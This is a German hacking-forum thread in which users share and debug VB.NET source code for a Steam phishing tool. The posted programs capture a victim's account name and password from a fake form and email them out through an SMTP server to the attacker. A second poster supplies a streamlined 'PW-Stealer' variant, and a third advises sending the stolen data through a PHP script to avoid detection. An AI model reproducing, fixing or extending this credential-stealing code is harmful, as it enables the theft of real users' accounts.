Ergebnis 1 bis 3 von 3
  1. #1
    Sobig Wurm Avatar von Stelmi007
    Registriert seit
    01.03.2008
    Beiträge
    212

    Beitrag VB.NET Phising Source Code.

    Hi Ich bin an nem Phising tool dran für Steam.
    Und ich komme einfach nicht bei der

    Empfänger mail weiter sprich da.
    Was muss ich dort eintragen ist ein fehler drin ? . -.- weiss nicht mehr weiter. .



    Imports System.Net.Mail
    Imports System.Net
    Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    Timer1.Start()
    Dim text As String
    text = "Account-Name: " + TextBox1.Text + " Passwort: " & TextBox2.Text + vbLf
    Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
    myClient.Credentials = New NetworkCredential("DEINEEMAIL", "DEINPW")
    ->myClient.Send("DEINEEMAIL", "DEINEEMAIL, DEINEEMAIL", "Steam Account", text)<-------------------
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
    If ProgressBar1.Value = ProgressBar1.Maximum Then
    MsgBox("Steal erfolgreich Pw: billyboy555")
    Me.Close()
    End If
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    ProgressBar1.Increment(1)
    If ProgressBar1.Value = ProgressBar1.Maximum Then
    End If
    End Sub
    End Class

    Geändert von Stelmi007 (11.02.2010 um 12:16 Uhr)

  2. #2
    Professionist Avatar von stunt54
    Registriert seit
    11.02.2010
    Beiträge
    159

    Standard

    vergiss den code xD nimm den hier^^


    Imports System.Net
    Imports System.Net.Mail




    Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    MessageBox.Show("Deine Fehlermeldung")
    Dim text As String
    text = TextBox1.Text & TextBox2.Text + vblf
    Dim myClient As New Net.Mail.SmtpClient("dein SMTP server")
    myClient.Credentials = new NetworkCredential("Deine Email", "Dein PW dazu")

    myClient.Send("Deine email", "deine email", "PW-Stealer", text)

    End Sub
    End Class

  3. #3
    Anfänger Avatar von q1x
    Registriert seit
    08.04.2009
    Beiträge
    25

    Standard

    nope per php script und nicht per email = keine sniffer gefahr

    [es mit email zu machen war auch ein großer fehler von mir]
    Geändert von q1x (11.02.2010 um 22:47 Uhr)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •